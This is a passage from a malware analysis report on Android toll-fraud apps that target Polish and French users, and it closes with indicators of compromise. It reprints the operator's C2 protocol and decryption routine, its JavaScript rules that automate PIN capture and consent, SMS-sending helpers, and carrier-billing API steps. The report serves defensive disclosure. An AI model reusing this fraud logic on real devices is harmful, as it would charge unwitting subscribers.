The object timestamps describe the stored files, not the operational status of their routes. Both objects remained available, and the default C2 issued current Polish jobs during analysis.

Messenger Pro default payload: behavior observed for Poland

The default payload searches the host manifest for an activity with an entirely numeric label. In this sample, label 6002 resolves to LpMsdqActivity, which stage 2 had already opened through the launch mechanism described above. During controlled execution with a Polish operator profile, this activity hosted the native Register form later used to collect a Polish telephone number.

C2 protocol and cryptography

com.jk.MainEntry.init(host, referrer) receives the C2 address 47.84.77.127, and the default payload constructs its C2 URLs over cleartext HTTP. During initialization, it also replaces the process wide default trust manager and hostname verifier used by HttpsURLConnection with permissive implementations. This weakens validation for Java HTTPS requests made inside the application process, but it does not configure the chromium TLS stack used by WebView.

When the protocol class first loads, it generates six random looking paths, one for each operation. For operation i, it chooses a random integer r between 0 and 998 and calculates:

n = r - (r mod 31) + i

It places one random ASCII letter before or after every decimal digit of n, then appends letters until the path contains at least eight characters. Removing the letters and calculating the remaining integer modulo 31 recovers the operation number:

Operation Purpose reconstructed from call sites
1 Register the package and device profile; receive the remote ID and country.
2 Poll for jobs and SMS commands; the polling loop reschedules after 30,062 ms.
3 Return a completed job, including result code, timing, page records and SMS or event records collected for that job.
4 Send a probe value with the remote ID; the native Register form uses it to submit the telephone number.
5 Upload diagnostic text or page HTML under a ?p=<job_or_record_id> label.
6 Relay a Secure-D carrier request through the C2 while preserving service specific headers.

Each operation reuses its generated path for the lifetime of the process. A new process generates a different set. This provides operation and endpoint obfuscation rather than meaningful protection.

At the application layer, request bodies and response entities after HTTP content decoding are raw AES ciphertext. Captured application responses additionally used Content-Encoding: gzip on the wire. After HTTP content decoding, the payload decrypted the resulting ciphertext. The exact URL string, including the query string used by operation 5, becomes the key material:

byte[] digest = MessageDigest.getInstance("MD5").digest(url.getBytes("UTF-8"));
String hex = lowerHex(digest);
byte[] key = hex.substring(0, 16).getBytes();

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(mode, new SecretKeySpec(key, "AES"), new IvParameterSpec(key));

The first 16 ASCII hex characters form the 16 byte key; they are not decoded into eight bytes. The IV equals the key. Because the URL crosses the network in cleartext and deterministically supplies both values, this encryption hides the traffic but no secret key or message authentication.

Messenger Pro C2 encryption and decryption

Figure 3. How Messenger Pro encrypts C2 traffic.

During controlled execution, the application generated path /A2W80jUc. Its digits form 280, and 280 mod 31 = 1, identifying a registration request. The captured URL and derived key were:

POST http://47.84.77.127/A2W80jUc
key = IV = ASCII("e5eab0a8914cd673")

Decryption of the 176 byte request body produced:

{
  "josiwo": "com.messages.sms.messenger.textmessage.owyo",
  "worikt": "26001",
  "zubfih": "1789473394955",
  "qredyb": 35,
  "kdthit": 312,
  "xjnguw": "google",
  "tffhhk": "null_ref"
}

The fields carry the package name, MCC/MNC, installation time in Unix milliseconds, android SDK level, constant payload marker, device brand and Google Play install referrer. The server returned a 103 byte gzip body. HTTP decompression produced 80 bytes of AES ciphertext, which decrypted to 64 bytes of JSON:

{
  "bshwai": 60727718,
  "xjnguw": "",
  "ejqgpk": "",
  "hyszxc": "PL"
}

The backend assigned remote ID 60727718 and country PL. This captured registration is the exchange summarized in Figure 3.

To observe tasking when cellular connectivity, inbound SMS and outbound SMS were all reported as available, we registered a separate bounded profile. The backend assigned remote ID 60723698. Its operation 2 poll used a different URL and therefore a different key:

POST http://47.84.77.127/a3b1c2de
key = IV = ASCII("19b8c8d1caee32bf")

Decrypted request:

{
  "zubfih": "1789440000000",
  "bshwai": 60723698,
  "eymbmw": true,
  "rktfht": true,
  "segdip": true
}

Operation 2 is more than a heartbeat. It tells the backend which fraud routes the device can support. eymbmw reports cellular connectivity, rktfht reports the inbound SMS capability and segdip reports the outbound SMS capability. These values allow the backend to distinguish devices that can open carrier billing pages, capture verification messages or send premium SMS. The 6,928 byte ciphertext response decrypted to the following work package:

{
  "lybfta": [{
    "ejqgpk": 863176325,
    "gooycf": "https://nmx4e6qj.com/bV1p5aXg?campaign=10375&sub_aff=5063176325&sub_aff3=EZ",
    "inbzrz": 200,
    "hyszxc": true,
    "eymbmw": true,
    "gkreil": ["<7 rule objects omitted>"]
  }],
  "jxdkqb": {
    "segdip": "+447752070662---rch59419069"
  }
}

The response reused several field names with different meanings. In the request, eymbmw reported that a cellular route was available. Inside the returned job, eymbmw: true required the payload to obtain and bind to that route. If this failed, the job ended with result 203. Similarly, hyszxc carried the country code PL during registration, but hyszxc: true in the job selected a mode in which the payload retrieved page content through its native HTTP client before loading it into WebView.

lybfta contained the browser task. Although represented as an array, the payload read only its first element. ejqgpk was job ID 863176325, which the client later included in its result. gooycf supplied the initial affiliate URL. gkreil contained seven URL matching rules and their JavaScript bodies, allowing the C2 to define how the payload should respond as redirects reached different billing pages. inbzrz selected execution mode 200. Values of 300 or higher enable additional tracing and page capture paths.

The outer jxdkqb object was processed independently and before the browser task. Its segdip value used the format destination---body, instructing the native SMS helper to send rch59419069 to +447752070662. Elsewhere in the payload, an incoming message beginning with rch triggers a request to /op/pair containing the suffix and the sender's telephone number. Together, these paths are consistent with a telephone number pairing mechanism. We observed the send instruction but not its receiving side, so the exact role of the UK number remains unconfirmed.

Remote tasking and WebView bridge

The decrypted operation 2 response shown above contained the browser job in lybfta. Its gkreil array was replaced with <7 rule objects omitted>. Expanding that array revealed seven C2 supplied rules. Each paired a URL expression with JavaScript that the payload would execute when the WebView reached a matching page. We inspected the complete rule set without opening the assigned start URL:

Rule ID URL expression Supplied behavior
162785 ua.forward-tv.net/lp Detect phone or PIN page, insert MSISDN, intercept a PIN containing 4 to 6 digits, check disclaimer and submit.
162800 service_unavailable Stop with code 905.
62745 lp.ooxxporn.net/pl/lp.html Select a consent checkbox and submit.
62746 dcb.teleaudio.pl Polish phone number and PIN workflow.
98259 consulate.teleaudio.pl/dcbev/ Extract path values and redirect into the Teleaudio DCB flow.
158754 aff.odyss.club/... Stop with code 905.
162662 izy0.com Stop with code 905.

Code 905 is a terminal result the C2 assigns to dead end routes: an unavailable service, an unwanted affiliate redirect or a blocked domain. The payload ends the job immediately without further page interaction.

The job required cellular connectivity and began at hxxps://nmx4e6qj[.]com/bV1p5aXg?campaign=10375&sub_aff=5063176325&sub_aff3=EZ. The principal branches of its Teleaudio rule are shown below with variable names normalized. Logging, error handling and the delayed retry helper have been omitted:

var phone = document.querySelector('.phone-number');
var pin = document.querySelector('.form-control');

if (phone != null && phone.offsetHeight > 0) {
    phone.value = 'NNNNBBBB';
    phone.dispatchEvent(new Event('input', {bubbles: true}));
    document.querySelector('.btn').click();
    nextThings();
} else if (pin != null && pin.offsetHeight > 0) {
    var code = window.JBridge.call(
        'popMsg',
        '2::(kod|PIN|code).*?(\\d{3,6})'
    );
    if (code == '') {
        window.JBridge.call('finish', '305');
    } else {
        pin.value = code;
        pin.dispatchEvent(new Event('input', {bubbles: true}));
        var checkbox = document.querySelector('.checkmark');
        if (!checkbox.checked) checkbox.click();
        document.querySelector('button.btn').click();
        setTimeout(() => window.JBridge.call('finish', '100'), 5000);
    }
}

The C2 supplied NNNNBBBB as a placeholder for the telephone number associated through operation 4. It remained unresolved in our jobs because we supplied no usable number. The omitted nextThings() helper schedules result 302 for 20 seconds later and repeats the PIN retrieval branch. The rule is therefore designed to automate number entry, PIN extraction, consent and submission. Its regular expression explicitly recognizes the Polish word kod.

The C2 scripts use the stable expression window.JBridge.call(...), but that is not the object name exposed inside the running WebView. The custom WebView creates a random four character name followed by _. The following code has normalized variable names, while the replacement strings and moixxt method name are exact:

bridgeName = randomAlphaNumeric(4) + "_";
interfaceName = name.replace("JBridge", bridgeName);
script = script.replace("JBridge.call", bridgeName + ".moixxt");

The C2 can therefore use the stable JBridge.call syntax, while each WebView instance exposes its native interface under a different name.

The two arguments to moixxt are a command and its value. The dispatcher logs every invocation as js-><command>:<value> before calling the native implementation:

Command Native effect
log Record the supplied text in the current job trace.
finish End the current job with the supplied result code.
schedule Schedule result 302 after a C2 supplied delay.
textTo Split destination---body and call SmsManager.sendTextMessage().
popMsg Search the active message queue with a C2 supplied regular expression.
resetMsg Clear both message queues before a new verification attempt.
probe Submit a value through C2 operation 4. In this workflow it is used for a candidate telephone number.
request Perform a native HTTP GET or POST with supplied headers and body. It can return text, Base64 or the final URL together with the body.
touch Enqueue a synthetic touch at supplied coordinates.
dump Store captured HTML in the current page record.

headers, data, url, mainFrame, b64 and finalUrl are fields accepted by the request command, not separate bridge commands. This distinction is visible in the native JSON parser.

The task WebView enables JavaScript and DOM storage, permits mixed content and allows JavaScript to open windows automatically. Type 100 rules, including the seven above, execute JavaScript when the main page URL matches. Type 300 rules intercept matching resource requests, retrieve their contents through the native HTTP client, apply C2 supplied replacements and return the modified response to chromium. A job option can also suppress requests to notify.clfldcbprotect.com, notify.dcbprotect.com and notify.eyewitness.evina.com. No sampled Polish job enabled this option, and anti fraud notification traffic remained visible during the All4You run. Response modification and request suppression therefore remain capabilities, not observed behavior.

A single response does not show the available task range. We therefore polled operation 2 50 times from one controlled PL profile without opening the returned URLs. The server supplied 41 unique jobs followed by nine empty responses. Those jobs contained 324 rule instances, 119 unique URL expressions and 75 unique JavaScript bodies. Their start URLs referenced campaigns 10371, 10372, 10374 and 10375. The rules covered Teleaudio and Dimoco flows, direct premium SMS, phone and PIN forms, success messages and error handling. Repeated polling did not expose other clients and cannot be used as a victim count.

We also compared capability flags sent in operation 2:

Reported capabilities C2 behavior observed across 10 polls
Receive and send SMS unavailable No jobs.
Send SMS available, receive unavailable Direct premium SMS jobs remained available.
Receive available, send unavailable WebView billing jobs remained available, but direct SMS jobs did not.
Cellular path unavailable All returned jobs had the cellular requirement disabled.

The flags are policy inputs. They allow one payload to serve both browser based billing and premium SMS campaigns while avoiding tasks the device cannot complete.

Number collection and premium SMS execution

In one controlled run, the payload registered MCC/MNC 26001, received country PL and obtained job 864515147. The job followed this chain:

nfaoh[.]com/brzb0xjr
  -> banana66.fuse-cloud[.]com/tl
  -> atemobi[.]com/click?campaign_id=119
  -> pl.mygold[.]click/loovafit/download-blue-v2/
  -> sms:92505?body=LOOVAFIT%20NET

The remote rule passed both forms of the short code to SmsManager. The calls were intercepted in the analysis environment and did not reach a mobile network:

{"destination":"92505",  "body":"LOOVAFIT NET", "blocked":true}
{"destination":"+92505", "body":"LOOVAFIT NET", "blocked":true}

The malware sent both variants immediately and retried after 60 seconds. No reply entered the job queue, so operation 3 returned result 305 and operation 5 uploaded a trace containing the redirect, bridge commands and timing. Subsequent jobs attempted LOOVAPLAY F4J to the same short code.

Figure 4 combines pcap, decrypted bodies, the uploaded trace and intercepted SMS calls. The broken time axis preserves the fast C2 exchanges and the 60 second reply wait.

Observed encrypted C2, WebView and SMS sequence

Figure 4. Observed C2, WebView and premium SMS sequence for job 864515147.

The C2 registration response stored hyszxc: "PL" in a global country field. Once the host had RECEIVE_SMS, the payload opened a noncancelable DialogFragment. It constructed the entire screen in Java and selected validation rules from a country table:

For Poland, the dialog displays prefix +48 and accepts any nine digits without checking whether the number is allocated. The deliberately impossible value 000000000 therefore enabled its button.

Pcap decryption recovered the exact exchange:

POST http://47.84.77.127/E8m72HOs
operation = 4
key = IV = ASCII("9c382a93c03cadc6")
plaintext = {"c":60727718,"n":"000000000","f":"1"}
ciphertext = 48 bytes
response = HTTP 200 with an empty body

The dialog then closed, but later jobs still contained NNNNBBBB. The capture therefore does not show that the backend accepted the impossible value as subscriber data.

Native malware dialog collecting a Polish telephone number Android warning that Messenger Pro wants to send a potentially charged SMS to 92505

The left image shows the malware's native +48 form. The right image comes from the earlier device run and shows android identifying the actual risk: Messenger Pro wanted to send to 92505, and the message could cause charges.

A later 240 second run captured three complete Polish premium SMS jobs. The third, job 865090137, followed campaign 10372 through an affiliate chain to a live All4You page. Its DOM identified Poland, shortcode 92513, display keyword ALL 64913 and provider RedLeads B.V. The legal text disclosed a one time charge of 30.75 PLN including VAT for three months of access.

The live page exposed its action as an SMS link:

<a id="smsToButton"
   href="sms:92513?body=ALL 64913"
   style="display: block;">Obejrzyj wideo</a>

The matching C2 rule contained one statement:

document.querySelector("#smsToButton").click();

Chrome DevTools Protocol recorded what happened next:

1789481145.377615  GET sms:92513?body=ALL%2064913
initiator: script
hasUserGesture: false

The navigation did not come from a tap. After the remote statement clicked the link, the payload's JavaScript bridge parsed the sms: URL and called the native SMS API for both forms of the short code:

{"destination":"92513",  "body":"ALL 64913", "blocked":true}
{"destination":"+92513", "body":"ALL 64913", "blocked":true}

No matching DA ALL reply arrived. Operation 3 returned result 305 after 68,270 ms, and operation 5 uploaded a trace which named the page, SMS URI, bridge commands and reply expression. The visible inbox remained on screen while the separate job WebView continued running inside the application process.

SMS handling and cellular routing

The default payload registers an SMS_RECEIVED receiver, parses incoming messages and adds their bodies to the active job queue. The bridge command popMsg searches this queue with a regular expression supplied by the C2. A message beginning with rch also triggers a separate pairing request which associates the suffix and sender with the C2 device ID.

Operation 3 reports the job ID, result code, elapsed time, matched pages and timestamped SMS, notification and error records. Operation 5 can additionally upload the textual trace and retained HTML. This feedback lets the backend distinguish missing messages, changed page selectors and provider rejection. All controlled runs returned failure results.

The default payload DEX also contains com.jk.NoteListener, which can extract notification text and call cancelAllNotifications(). The class is absent from the outer manifest, and no other reference to it exists in the payload DEX. The manifest declares only an unrelated empty notification service. We did not grant notification listener access, so this remains a dormant capability. The targeted payload has a more explicit injection path described later.

The payload requests a network with TRANSPORT_CELLULAR and NET_CAPABILITY_INTERNET, stores the resulting Network, and can bind the application process to it:

NetworkRequest request = new NetworkRequest.Builder()
    .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
    .addTransportType(NetworkCapabilities.TRANSPORT_CELLULAR)
    .build();

connectivity.requestNetwork(request, callback);
connectivity.bindProcessToNetwork(mobileNetwork);

Carrier billing often relies on subscriber identity from the mobile network, so this is a core feature rather than a fallback. The observed jobs used a WebView that was not attached to the visible Messenger Pro activity. CDP recorded navigation and C2 JavaScript while the inbox remained on screen. Other runners can use a virtual display, but we did not observe that mode and do not assign it to the All4You or Teleaudio runs.

Teleaudio carrier billing

The live C2 supplied browser automation for dcb.teleaudio.pl, but the payload did not depend entirely on remote JavaScript. It also contained a dedicated state machine activated when the job URL carried the pl_protocol marker and navigation began with https://epayment.teleaudio.pl/api2/.

The strings were protected with StringFog XOR using a repeating key. Decrypting them recovered the complete request sequence below. Placeholders are values extracted from the original URL or response:

Step Request and purpose
0 GET the epayment.teleaudio.pl/api2/... URL supplied by the server. Derive <product> from the seed URL and <transaction> plus <sid> from the resulting URL.
1 GET http://epayment.teleaudio.pl/api2/cellular_<product>/direct/open?transactionId=<transaction>&sid=<sid> and follow the returned URL.
2 If no number is already available, send an authenticated GET to https://epayment.teleaudio.pl/api2/cellular_<product>/direct/transaction2/cellular/<transaction> and read order.msisdn from its JSON response.
3 POST https://epayment.teleaudio.pl/api2/typeundef_<product>/direct/proceed with the transaction ID, MSISDN, carrier marker and connection type.
4 Wait for an SMS matching 2::(kod|PIN|code).*?(\d{3,6}).
5 POST https://epayment.teleaudio.pl/api2/ta/direct/confirm with the transaction ID and captured PIN.
6 GET https://epayment.teleaudio.pl/api2/ta/direct/status/<transaction> and look for the Polish success sentence.

The two JSON bodies reconstruct to:

// /direct/proceed
{
  "TransactionId": "<transaction>",
  "Msisdn": "<number>",
  "Carrier": "U",
  "Consents": null,
  "Connection": "typeundef"
}

// /direct/confirm
{
  "TransactionId": "<transaction>",
  "Pin": "<captured_code>",
  "Consents": null
}

The transaction lookup and subsequent API calls set Authorization: Bearer <sid>; the POSTs also set Content-Type: application/json. The state machine reports code 901 when it cannot recover an MSISDN, 902 when the proceed response contains ERROR, 305 when no PIN arrives, and 903 when the final status page lacks Transakcja zakończona pomyślnie. Only a response containing that sentence produces success code 100.

The compiled protocol demonstrates that the Polish logic did not depend only on remote rules. The downloaded DEX contained the provider's API layout, JSON fields, bearer token handling, Polish SMS vocabulary and success text.

We then compared the compiled state machine with live behavior. A fresh installation with virtual cellular data received job 865195912 for campaign 10371. The C2 rule matched consulate.teleaudio.pl/dcbev/ta2.* and attempted to extract a number from #pin-label-id. No number appeared, so operation 4 was not called. Payload and CDP traces reconstruct the route:

l21smh2x[.]com campaign 10371
  -> century-mobile[.]com/uf/step
  -> consulate.teleaudio[.]pl/dcbev/ta2/ufor/...
  -> epayment.teleaudio[.]pl/api2/wifi_nmd/direct/transaction2/wifi/<transaction>

The final Direct Billing AoC page contained an empty telephone field, a disabled Dalej button and this Polish text:

Opłata 17,00 zł naliczana co 7 dni
Wprowadź swój numer telefonu
Za chwilę otrzymasz wiadomość z kodem PIN, którym zatwierdzisz zamówienie.

The form never appeared in the visible activity. During real execution the payload loads and operates this page inside a background WebView, so a victim never sees it while the inbox remains on screen. For documentation, we replayed the captured campaign URL in Chrome on the test device to show the same page at a normal mobile viewport.

Teleaudio subscription form reached from the captured campaign URL

Live Teleaudio subscription page reached from the captured campaign URL in Chrome on the test device. The malware reached the same form in a WebView outside the visible messenger interface.

CDP and operation 5 both recorded a GET to the wifi_nmd transaction lookup endpoint. After 73.641 seconds, operation 3 returned result 302. The landing page and lookup are therefore observed behavior; the later proceed, PIN confirmation and status requests remain static capabilities.

The same process completed Games2day, Mind+ and Bitegames jobs and began a Learn English flow. Games2day attempted GRAM 23844 to 92512 and +92512, while an independent command requested rch59424826 to +447752070662. None of these messages reached a mobile network.

Beyond the observed jobs, decoded classes and templates supported Thai AIS, DTAC, True and Mobilelife endpoints, Indonesian Telkomsel purchase flows, Kenyan Safaricom and South African MTN Secure-D workflows. Generic jobs could chain HTTP requests, extract values and wait for SMS. Integrations with 2Captcha and Anti-Captcha show that the operator expected enrollment flows to encounter bot protection. We have omitted the embedded CAPTCHA service credential.

Messenger Pro targeted payload for MCC 208 and 460

This Messenger Pro branch was not selected for Poland during our observation because its policy listed only MCC 208 and 460. The later Phone Cleaner Master policy demonstrates that the operator could assign Polish devices to the same AqMu payload family in another build.

C2 protocol and tasking

For MCC 208 and 460 in the observed Messenger Pro policy, stage 2 selects a different DEX and C2 protocol. The payload uses the fixed endpoint http://47.84.194.202/asnvoycs, identifies the package in every request and carries parameters inside an action object. It again uses AES-CBC with the IV equal to the key, but derives both from the embedded password u18r3ze2:

MD5("u18r3ze2") = 5f52a1692dc5d4279ca44cb9d34a582a
key = IV = ASCII("5f52a1692dc5d427")

Recognized actions include rrss registration, dkco polling/job result, and the reporting actions gxns, ykty and hchs. The server can respond in plaintext JSON or AES ciphertext.

The targeted route rejected a registration containing a Polish MCC with HTTP 500, consistent with the loader policy. We then used a controlled French profile (20801) and performed one registration followed by one poll.

The registration supplied an install ID, MCC/MNC 20801, subscription ID, android versions and install referrer. The response assigned ID 245651 and returned an FR landing page:

{
  "zpri": 0,
  "ljyq": {
    "odrv": 245651,
    "tkyb": true,
    "qhjq": "https://x.euono.com/r.html?c=FR",
    "tpiw": true
  }
}

The following poll reported SMS access and the selected subscription. Its response assigned a billing URL, remote JavaScript and an independent SMS command:

{
  "zpri": 0,
  "ljyq": {
    "bjxv": "+447752070662---gs:245651",
    "tunj": {
      "mqjh": 1,
      "wsil": "https://auezon.com/QgybEYAV?aff_sub2=10447&aff_sub3=3501-245651-0",
      "dybc": "https://x.euono.com/fokr/main.v2.js",
      "uhlx": 3501,
      "mdly": 101,
      "imet": false,
      "vbxi": {}
    }
  }
}

No instruction was executed. Both C2 servers returned the SMS destination +447752070662. The protocols, C2 IPs and command bodies differ, but this operational resource is shared between branches. Combined with the common loader and routing policy, it provides strong evidence that both payloads belong to one operation.

The Phone Cleaner Master AqMu DEX is a separate obfuscated build of this targeted payload framework. Both contain 112 classes with the same package size distribution and retain the same fallback and event reporting configuration. Their primary C2 addresses and passwords differ, which indicates per build configuration rather than one shared endpoint. We did not poll the Phone Cleaner Master C2, so the French tasking below is evidence from the Messenger Pro AqMu backend only.

The targeted job referenced main.v2.js. We retrieved it as inert evidence: 33,663 bytes, 1,045 lines, SHA-256 a2f292da1eb6da3bcd1b2bf2340478c2f02a4844bfaa85f00d6e4820bbbe597a.

The script contains 43 dispatch rules and explicit handlers for 10 French premium SMS short codes:

81054  81056  81059  81067  81092
81097  81174  83767  84071  84072

One helper function sends both forms of a short code:

function sendSmsPair(numm, text) {
    window.JBridge.call('textTo', numm + '---' + text);
    window.JBridge.call('textTo', '+' + numm + '---' + text);
}

The handlers parse sms: URLs, send their body and call popMsg up to 12 times while waiting for OK or a reply containing 3 to 6 digits. They then transmit a confirmation such as DA, DA KROX, DA GBT, OK, or the original body. A generic fallback handles previously unknown sms: links. Other rules insert an MSISDN prefixed with the French country code, click controls and report a terminal code to the app.

This division of labor is operationally useful: the APK supplies durable capabilities, while the remotely hosted script can be updated whenever a content provider changes its page or SMS syntax.

Additional targeted capabilities

The targeted DEX contains three significant capabilities which were not activated during our tests:

Capability Implementation
Notification interception Uses HiddenApiBypass and android ActivityThread internals to replace the handler of a running notification listener. Captured text enters the job queue, after which the payload can clear notifications.
Multiple SIM routing Enumerates active subscription IDs and requests TRANSPORT_CELLULAR with NET_CAPABILITY_SUPL through a TelephonyNetworkSpecifier. The C2 field mqjh selects a subscription, indicating an attempt to route activity through a chosen SIM.
Network relay Implements TCP, UDP and framed WebSocket streams with reconnect, health check and event reporting logic. Embedded configuration references 129.226.172[.]250, 47.84.188[.]213/abxy/relay and api.appbhwljk[.]com/api/v3/wkev.

Neither live response activated these features, and we did not contact the relay endpoints. If enabled, the relay could provide network egress traffic associated with the victim's mobile connection in addition to subscription fraud.

Conclusion

The investigation preserved 1235 Meta advertisements and connected 852 of them, displayed under 60 identified profile names, to 17 malicious Google Play applications through code or infrastructure. Six exposed recovered toll fraud components or direct payload links, while 11 exposed related loader behavior without a recovered final fraud module. Exact advertising image reuse connected the paid acquisition layer, while the loader architecture, policy infrastructure, WHOIS records, OSS objects and payload configuration connected the applications themselves.

The Messenger Pro baseline demonstrates that distribution through Google Play does not establish application safety. The visible messenger provided a plausible explanation for its SMS permissions, while four executable layers separated their fraudulent use from the submitted application.

For Polish users, the implemented capabilities were supported by live C2 responses. MCC 260 passed the gate, the policy selected the default payload, the payload registered a PL device and its C2 supplied Teleaudio automation. One device run loaded the live Teleaudio subscription form and requested its transaction lookup API. No telephone number or PIN was submitted, so the transaction did not advance. Separate jobs reached other Polish subscription pages and attempted premium SMS transmission to 92505, 92512 and 92513.

Phone Cleaner Master showed that the country assignment could change between builds. Its policy explicitly selected PL260 for a newer AqMu payload configured with another C2 endpoint. Poland was therefore not permanently tied to the Messenger Pro default route. The operator could move a country between payload frameworks by changing the remote policy and distributing a newly configured build.

Every application discovered during the investigation was reported to Google and removed from the store. Meta also removed the advertisements we had reported, although other advertisements in the same operation may have remained active without our knowledge or expired on their own. Individual removals interrupted specific installation paths, but new packages appeared, the C2 infrastructure remained active and copies installed before removal could still reach it.

The operator separated stable capabilities from changeable business logic. Encrypted DEX stages protected the loader's purpose, object storage delivered replaceable payloads, a policy could move countries between branches and remote JavaScript adapted the implant to individual billing pages. This architecture, rather than any single domain, is the central indicator of how the operation worked.

Indicators of compromise

Indicators were observed or recovered between 14 and 21 September 2026. Network values are defanged. Billing and affiliate destinations are separated from infrastructure attributed to the loader operation.

Messenger Pro

  • Package: com.messages.sms.messenger.textmessage.owyo
  • Base APK SHA-256: dfe8f46ab3cefa99382f9d2a4dab881cb9551497e9bc5d6a95fe4cf4b7c8df03
  • ARM64 configuration split SHA-256: ce6cd404fbf7f5ef42afebe04ecfb0d4349884cadfbe7e0ad92cf023f9df07ed
  • Signer certificate SHA-256: 44e4971490a2b876a204ca1d9f5e87d0b4e7a8354258368267befa222a88d679
  • Source Stamp certificate SHA-256: 3257d599a49d2c961a471ca9843f59d341a405884583fc087df4237b733bbd6d
  • Stage 1 DEX SHA-256: 2f3093e9790e541c626b58c058c1098ca8ea25abab875771b285dcae04b1298e
  • Stage 2 DEX SHA-256: c21361d183d7b649e6af869a911e210ff8a293fcb91695694992a1428fb5bf28
  • Default payload DEX SHA-256: 8ffa31b8d6ba3ba217b4f658539b6c6894d75709842482c2248d056ee080a79c
  • AqMu payload DEX SHA-256: 79e3a8b1b19f1af6c80e728d32652e11a63c1d35517dd448760249fc42efceb7
  • Remote main.v2.js SHA-256: a2f292da1eb6da3bcd1b2bf2340478c2f02a4844bfaa85f00d6e4820bbbe597a
  • Policy endpoint: api.tehsnb[.]link/sabd/mckd
  • Default payload C2: 47.84.77[.]127
  • AqMu payload C2: 47.84.194[.]202/asnvoycs
  • Initial Meta Ad Library IDs: 1101937705505412, 4635863290017072

Phone Cleaner Master

  • Package: com.ms.phonecleaner.clean.junk.pkoza
  • Base APK SHA-256: 6dafefa5a88dea6021028b4b58c58e60422af96296318c84cf898bd3aecc4ee9
  • ARM64 configuration split SHA-256: 6ff20ddfb5d3fda08aea05f70af1d907ed782b3e043a2ee98a98ef2361824f8b
  • Signer certificate SHA-256: 71fd2453a6303058e193cef446fb796a59c6d0ab1f1c9cf9c887fec5b6a34089
  • Stage 1 DEX SHA-256: eb51fea688ded3ae08fbde2130b859c70e90ce4730f9464120b2ffab087946de
  • Stage 2 DEX SHA-256: 20e97d2717fca6cb4216f762d0c9cffe5b314e1331591d9800f827e988450711
  • AqMu payload DEX SHA-256: aa06f574b48b2ee071d6488616280be91a2854b38a702c3a2cc92cb2824413aa
  • Policy endpoint: api.hsbdbv[.]link/mkds/cneu
  • AqMu payload C2: 47.84.193[.]174/j26j8vf7
  • Default branch C2: 47.84.57[.]5

Other advertised operation applications

Cool Wallpaper - com.supono.ihgsvco
    base APK: 0ddbae8ed57090473cacca22bdfe2bdc2456276a7091633b529729ad86798bd6

Max Messenger - com.maxmessenger.sms.pkqlav
    base APK: dbbe94fb651a16664ac745a07ad4937eea6605ecf9079ff032ba600ca79f96b9
    ARM64 configuration split: 79b095e3e565edad6704ed7886d6fb465ae63d96f16f10f7e52e3da1977c1236
    ARM64 routing stage: ec5428f45615256db30497661ca5c081ce53b97b6084c0841d77f4c33f425e66

Text Chat - com.text.chat.messaging.sms.vccqaho
    APK variant: 7e94933820874bde642743e839fd079e2d9084d473b807af97ed361f55fc31d1
    APK variant: 84c5a91e25ce62bc8ca7ca6e70f50be639cb98974ede2bcc51c3ee6fcb72065a
    APK variant: c5f908441cfe3437b1f51497dc9608f77204a00265edd1a6d840aebfa3f28786

PDF Scanner Art - com.pdfscanner.artyo
    base APK: 245940bf77583138de870d91628b26c2d6ea480a711dd9b38922f985ceafcd48

Seed Text Messages - com.seeds.textsms.avon
    base APK: c35febe019f51ab161fa884d7d5c2c377e1450a7054b4f059eca34e4ec1085cb

Instant Messages - com.instantmessages.textdatamessages
    base APK: 4dcac05ba219fe5c94d8420e7dbfa4594c2e56f76bcb54fbe3a7ff2be161a96a

Short Messages - com.shrtsms.xxmessages
    base APK: 933c241a27cb83613cba5229422951d8080c77a58784cc31dc0b58d5a03e6259

Text Messages - com.cuff.textsms.messages.patk
    base APK: 1126d64ee7d490fb8bb92c419a5bb110f928148c14ee62b855b8d7d3f846d315

Quick Chat Message - com.chatmessages.textsmsmessanger
    base APK: d2d38925e3446b62819fd959feb171a7873842801826d54227924bcd7afb8596

PDF Scanner Pro - com.pdf.quantum.scanner
    base APK (2.1.5): a6bc28f9bec74184eaa54411437c8a2de40f72532d357a9f4b9f4173ed3458b5
    ARM64 split: 560809e38aa3ce2078c31b4ffea2d41bcac977492a69e34f23fca6c7d93785be
    libjcxo.so: f39ab5ea54a99e6e78abd00061095c3063008b2c7378594a78959fb4dadb3c02
    signer certificate: 3434983b6011020573f2243931681eceb412d2055e43366081633813cc6e38e9

Text Magic Messages - com.efasms.magical.tmmssages
    base APK (1.1.61): d004bb904083d2ef95cc0ccdcbf4b08c4afd1ee7aae2dbff06cb5c118e41dfe3
    signer certificate: 490a66c35052771c163db9c3d1da3abd37da8f7c2f5b8e42b3770d31fed16dcf

Lite PDF Scanner - imagetopdf.pdfconverter.jpgtopdf.avabcl
    base APK (2.1.5): b14b55947ba425ed5517e0c9e5d68c23095223c3900e14d327041f7a10759836
    signer certificate: 6a81aba88c00fa3c25cb12abc2439200e36501dc4635b3a77e090f7254661890

Text Message Pro - com.tipro.smstext.message
    base APK (2.4.1): 9970a7da384f4a338c042a9857a8fb784bfbe608449c2c3ca29285a01ec84e79
    signer certificate: 4e3a17d46264063db19ad2a1f3e529a142d4b46296bf80d8c2ab27f400e93cb7

Go Cleaner Pro - com.merclean.approximating
    base APK (1.0.2): 8ea135151465aa072c02b8a143d50a23a711bdda4cf29a8e91b57c0c2f5b8883
    signer certificate: 99beee6b30978300d75dffe3ce3a0beab6a93faf1e317df0ca818760438ef54f

Quick Message Pro - com.msg.quick.secure.chsrkm
    base APK (1.10): bfa4dab9fb2ee21b39964651b67ef47bb80ddcfc8fb969dcecd121e83bf06667
    signer certificate: ab580c934dec46e5afe36698afe74ad59a81170eeda1e9ba0f3b1d691fa6266b

Related loader samples used for infrastructure analysis

Storage Cleaner - ai.storage.cleaner.phonecleaner.junkfiles.wlchyh
    APK: 3af3f780722cb9bba958f85f0843112501f15922c30151ec04c767e1992aa5bd

Document Reader - fast.documentreader.pdfviewer.kqvndr
    APK: 45eec140149f10096368e7ca83af958805fcf5a2f59f0894c6cea197bf4c56d7

Smart Clean - com.smartcleansdhcn.tools
    APK: 782fd6241a07831c7539b1c106c54fdf1be62d9a5bac2139ea42d4fdbd7799ad
    APK: 9a2af014ce573f3480e528bb4a0949ed2d4f47fecaf747f8bb5a05ea45da7457
    APK: a19e349b7aa3cec11e4ce4175eeb20992495ac6b33433f6d856093d5f3f19bd4

Clean Max - com.cleanmax.imam.cleaner.upvvpdh
    APK: 228f177aacd2bd84da3954d69f4ae430478027728b4eb990815f79a1a36f6276

Frekas - com.storage.phone.delete.frekas
